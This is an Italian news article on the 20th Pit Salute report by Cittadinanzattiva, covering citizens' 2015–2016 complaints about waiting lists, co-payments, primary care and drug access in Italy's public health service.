Per curarsi i cittadini preferiscono il servizio sanitario pubblico, sia perché si fidano di più sia perché non possono permettersi i costi dell’assistenza privata. Ma troppi ostacoli rendono sempre più difficile l’accesso al Ssn. Poco meno di un terzo lamenta difficoltà, ritardi, eccesso di burocrazia e costi: i principali problemi si confermano le liste d’attesa, per il 54,1%, e i ticket, con segnalazioni in aumento dal 30,5% del 2015 al 37,5% del 2016.

E’ quanto emerge dal XX Rapporto Pit Salute di Cittadinanzattiva-Tribunale per i diritti del malato, dal titolo ‘Sanità pubblica: prima scelta, ma a caro prezzo’, presentato oggi a Roma e realizzato con il sostegno non condizionato di Ipasvi, Fnomceo e Fofi.

Le liste di attesa, dunque, non diminuiscono. I cittadini segnalano soprattutto tempi lunghi per accedere alle visite specialistiche, si passa dal 34,3% del 2015 al 40,3% del 2016. Seguono, con il 28,1% delle segnalazioni (rispetto al 35,3% nel 2015), i lunghi tempi per gli interventi chirurgici; al terzo posto le liste d’attesa per gli esami diagnostici (dal 25,5% 2015 al 26,4% del 2016). Sulle tasche degli italiani pesano i costi elevati del ticket. Il 37,4% denuncia la spesa salata e gli aumenti della compartecipazione per la diagnostica e la specialistica, mentre il 31% esprime disagio per mancata esenzione (in aumento rispetto al 24,5% del 2015). E ancora, i cittadini considerano insostenibili i costi per farmaci, intramoenia, Rsa e protesi ed ausili. 

In aumento – evidenzia il XX Rapporto Pit Salute – anche le difficoltà relative all’assistenza territoriale: si è passati dall’11,5% del 2015 al 13,9% del 2016. In particolare, quasi un cittadino su tre (30,5%) segnala problemi con l’assistenza primaria di base, soprattutto per il rifiuto di prescrizioni da parte del medico (anche per effetto del decreto appropriatezza) e per l’inadeguatezza degli orari dello studio del medico di base.

In generale, diminuiscono le segnalazioni dei cittadini sui farmaci (dal 5,8% al 4,2%). Ma aumentano le denunce per il mancato accesso ai medicinali per l’epatite C (44,4%), mentre il 24,2% segnala l’indisponibilità di farmaci, il 18,3% la spesa privata che per molti diventa insostenibile, soprattutto per i prodotti di fascia C, per la differenza di prezzo fra brand e generico e per l’aumento del ticket. Le segnalazioni si riferiscono prevalentemente a farmaci di fascia A (48,5% nel 2016, il 10% in più rispetto all’anno precedente.

“I cittadini non ce la fanno più ad aspettare e a mettere mano al portafoglio per curarsi; anche le vie dell’intramoenia e del privato sono diventate insostenibili. Serve più Servizio sanitario pubblico, più accessibile, efficiente e tempestivo”, commenta Tonino Aceti,coordinatore nazionale Tribunale per i diritti del malato di Cittadinanzattiva, sottolineando che “dalla legge di bilancio arrivano pochi e deboli segnali”, mentre è “necessario per dare risposte alle profonde disuguaglianze in sanità che ci vengono segnalate”.

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